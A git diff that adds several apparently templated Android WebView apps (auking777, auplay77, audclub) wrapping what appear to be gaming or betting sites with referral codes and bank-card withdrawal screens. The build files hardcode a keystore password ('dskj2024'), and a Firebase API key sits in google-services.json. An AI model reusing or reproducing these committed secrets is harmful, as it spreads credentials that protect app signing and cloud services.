mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/audclub/src/main/res/values-night/themes.xml b/audclub/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/audclub/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/values/colors.xml b/audclub/src/main/res/values/colors.xml new file mode 100644 index 0000000..5250a36 --- /dev/null +++ b/audclub/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #876f41 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/audclub/src/main/res/values/strings.xml b/audclub/src/main/res/values/strings.xml new file mode 100644 index 0000000..2224c12 --- /dev/null +++ b/audclub/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AUDClub + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/values/themes.xml b/audclub/src/main/res/values/themes.xml new file mode 100644 index 0000000..cde6291 --- /dev/null +++ b/audclub/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/xml/app_updater_paths.xml b/audclub/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/audclub/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/main/res/xml/network_security_config.xml b/audclub/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/audclub/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/audclub/src/main/res/xml/provider_paths.xml b/audclub/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/audclub/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/audclub/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/audclub/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/audclub/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/auking777/.gitignore b/auking777/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/auking777/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/auking777/build.gradle b/auking777/build.gradle new file mode 100644 index 0000000..cf4369d --- /dev/null +++ b/auking777/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.auking777" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "auking777" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/auking777/dskjweb.jks b/auking777/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/auking777/dskjweb.jks differ diff --git a/auking777/google-services.json b/auking777/google-services.json new file mode 100644 index 0000000..16d0bcd --- /dev/null +++ b/auking777/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "555503315200", + "project_id": "auking777-708e5", + "storage_bucket": "auking777-708e5.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:555503315200:android:cb1a6c1c09d4b252bbebe5", + "android_client_info": { + "package_name": "com.web.auking777" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB1hEg3_gZoX1yoZ77pOW-HHPsVGOqhfvs" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/auking777/ppn.jks b/auking777/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/auking777/ppn.jks differ diff --git a/auking777/proguard-rules.pro b/auking777/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/auking777/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/auking777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/auking777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/auking777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/auking777/src/main/AndroidManifest.xml b/auking777/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3cc3b5a --- /dev/null +++ b/auking777/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/java/com/web/auking777/MainActivity.java b/auking777/src/main/java/com/web/auking777/MainActivity.java new file mode 100644 index 0000000..ab61ae6 --- /dev/null +++ b/auking777/src/main/java/com/web/auking777/MainActivity.java @@ -0,0 +1,51 @@ +package com.web.auking777; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 186; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.auking777.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#d8e2f0"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fafbfd"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + Glide.with(MainActivity.this).load(R.mipmap.start_gifs).into(showTopV1); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/auking777/src/main/java/com/web/auking777/MyFirebaseMessageingService.java b/auking777/src/main/java/com/web/auking777/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a5e1b23 --- /dev/null +++ b/auking777/src/main/java/com/web/auking777/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.auking777; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/mudahking/src/main/java/com/web/mudahking/WebApplication.java b/auking777/src/main/java/com/web/auking777/WebApplication.java similarity index 97% rename from mudahking/src/main/java/com/web/mudahking/WebApplication.java rename to auking777/src/main/java/com/web/auking777/WebApplication.java index 06637a8..4e58413 100644 --- a/mudahking/src/main/java/com/web/mudahking/WebApplication.java +++ b/auking777/src/main/java/com/web/auking777/WebApplication.java @@ -1,4 +1,4 @@ -package com.web.mudahking; +package com.web.auking777; import android.app.Application; import android.content.Context; diff --git a/auking777/src/main/res/drawable-anydpi/ic_action_back.xml b/auking777/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/auking777/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/auking777/src/main/res/drawable-hdpi/ic_action_back.png b/auking777/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/auking777/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/auking777/src/main/res/drawable-mdpi/ic_action_back.png b/auking777/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/auking777/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/auking777/src/main/res/drawable-v24/ic_launcher_foreground.xml b/auking777/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/auking777/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable-xhdpi/ic_action_back.png b/auking777/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/auking777/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/auking777/src/main/res/drawable-xxhdpi/ic_action_back.png b/auking777/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/auking777/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/auking777/src/main/res/drawable/big_bg.xml b/auking777/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..8a1713a --- /dev/null +++ b/auking777/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/ic_launcher_background.xml b/auking777/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/auking777/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/auking777/src/main/res/drawable/input_bg.xml b/auking777/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/auking777/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/auking777/src/main/res/drawable/pass_word_bg.xml b/auking777/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/auking777/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/auking777/src/main/res/drawable/pass_word_bg1.xml b/auking777/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/auking777/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/pass_word_bg2.xml b/auking777/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/auking777/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/shape_btn_bg.xml b/auking777/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/auking777/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/shape_dialog_bg2.xml b/auking777/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/auking777/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/shape_dialog_bg3.xml b/auking777/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/auking777/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/drawable/shape_dialog_bg_new.xml b/auking777/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/auking777/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/auking777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/mipmap-hdpi/ic_empty.png b/auking777/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/auking777/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/auking777/src/main/res/mipmap-hdpi/ic_pull_down.png b/auking777/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/auking777/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/auking777/src/main/res/mipmap-xhdpi/ic_close.png b/auking777/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/auking777/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/auking777/src/main/res/mipmap-xhdpi/ic_menu.png b/auking777/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/auking777/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/auking777/src/main/res/mipmap-xxhdpi/app_logo.png b/auking777/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..8450aa8 Binary files /dev/null and b/auking777/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/auking777/src/main/res/mipmap-xxhdpi/start_gifs.gif b/auking777/src/main/res/mipmap-xxhdpi/start_gifs.gif new file mode 100644 index 0000000..2f8c044 Binary files /dev/null and b/auking777/src/main/res/mipmap-xxhdpi/start_gifs.gif differ diff --git a/auking777/src/main/res/values-en/strings.xml b/auking777/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/auking777/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/auking777/src/main/res/values-night/themes.xml b/auking777/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/auking777/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/values/colors.xml b/auking777/src/main/res/values/colors.xml new file mode 100644 index 0000000..5bab871 --- /dev/null +++ b/auking777/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #d8e2f0 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/auking777/src/main/res/values/strings.xml b/auking777/src/main/res/values/strings.xml new file mode 100644 index 0000000..3d4447b --- /dev/null +++ b/auking777/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AUKING777 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/values/themes.xml b/auking777/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/auking777/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/xml/app_updater_paths.xml b/auking777/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/auking777/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/main/res/xml/network_security_config.xml b/auking777/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/auking777/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/auking777/src/main/res/xml/provider_paths.xml b/auking777/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/auking777/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/auking777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/auking777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/auking777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/auplay77/.gitignore b/auplay77/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/auplay77/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/auplay77/build.gradle b/auplay77/build.gradle new file mode 100644 index 0000000..3a84a10 --- /dev/null +++ b/auplay77/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.auplay77" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility 